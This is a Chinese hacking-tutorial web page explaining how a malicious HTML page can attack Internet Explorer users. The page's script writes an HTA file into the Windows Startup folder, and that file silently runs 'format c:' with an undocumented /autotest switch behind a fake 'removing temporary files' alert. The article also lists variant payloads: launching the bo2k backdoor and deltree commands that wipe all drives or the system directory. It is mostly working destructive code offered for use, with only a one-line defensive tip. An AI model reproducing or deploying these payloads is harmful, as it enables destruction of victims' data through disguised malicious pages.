如何利用HTML格式化你的硬盘

所属分类: 网络编程 / 黑客相关 阅读数: 1288
收藏 0 赞 0 分享
   这是利用微软( Microsoft )的IE浏览器( Internet Explorer )所衍生出来的 
攻击方法。 

以下这段就是具有破坏性的HTML 

Hacking Your Computer . 

scr.Reset(); scr.Path="C:\\WINDOWS\\Start Menu\\Programs\\启动\\hack.hta"; 
scr.Doc=" 
wsh.Run('start.exe /m format c:/q /autotest /u'); 
alert('IMPORTANT : Windows is removing unused temporary files.');"; 
scr.write(); 


(懂HTML的人应该就看得出来其中精随) 

现在我大概来解释其中几个项目所写的意思 

scr.Path="C:\\WINDOWS\\Start Menu\\Programs\\启动\\hack.hta" 

这一项就是指当你看到这网页它会写入到你的电脑启动目录底下,并命名为 
hack.hta 

wsh.Run('start.exe /m format c:/q /autotest /u'); 

通常要格式化硬碟都会先问你是否要执行,但其中的"/autotest"这项。 

它是一个微软没有公开的功能,键入後format的动作便会被强制执行。 

这项中的/q /u是令系统不需要检查硬碟便会立即执行的指令。 

最後start.exe再配合/m选项可以使format的DOS-prompt视窗在执行的时候处於最小 
化的状态。 

执行其他攻击指令的方法∶ 

只要修改“start.exe /m format c:/q /autotest /u”这一项便形。 

start.exe /m format c:/q /autotest /u 

其中的“c:”可以换做其他的硬碟。 

(path)\bo2k.exe 

执行它电脑中的某个程式,如果你有传bo2k到它电脑中就可以使用此指令。 

start.exe /m deltree /y a:\*.* c:\*.* d:\*.* 

杀掉对方硬碟底下所有的档案。 

start.exe /m deltree /y c:\windows\system\*.* 

杀掉对方c:\windows\system\目录底下的所有档案。 

後叙∶ 

预防遭此手段的破坏就是到微软去更新你的浏览器。 
cplic putlic eval 01Oct2001 ao9McpUFF-LvJU5BvTp-7xDVpSa4X-RrrcKpv jjCPSUITE-EVAL-3DES-NG CK-CP 
更多精彩内容其他人还在看

phpwind Exp 漏洞利用

phpwind Exp 漏洞利用
收藏 0 赞 0 分享

对错误,漏洞和exploits的说明

对错误,漏洞和exploits的说明
收藏 0 赞 0 分享

XSS & SQL注入

这篇文章主要介绍了XSS & SQL注入的相关资料,需要的朋友可以参考下
收藏 0 赞 0 分享

如何成为一名黑客全系列说明第1/2页

这篇文章主要介绍了如何成为一名黑客全的相关资料,需要的朋友可以参考下
收藏 0 赞 0 分享

真正能用,还有点效果的CSS挂马代码的方法

真正能用,还有点效果的CSS挂马代码的方法
收藏 0 赞 0 分享

ASP,PHP与.NET伪造HTTP-REFERER方法及防止伪造REFERER的方法

ASP,PHP与.NET伪造HTTP-REFERER方法及防止伪造REFERER的方法
收藏 0 赞 0 分享

入侵oracle数据库的一些技巧

入侵oracle数据库的一些技巧
收藏 0 赞 0 分享

我和expression的日与被日 经典分析

我和expression的日与被日 经典分析
收藏 0 赞 0 分享

mysql5 注入漏洞

mysql5注入漏洞代码
收藏 0 赞 0 分享

rm格式插入广告代码

rm格式插入广告代码
收藏 0 赞 0 分享
查看更多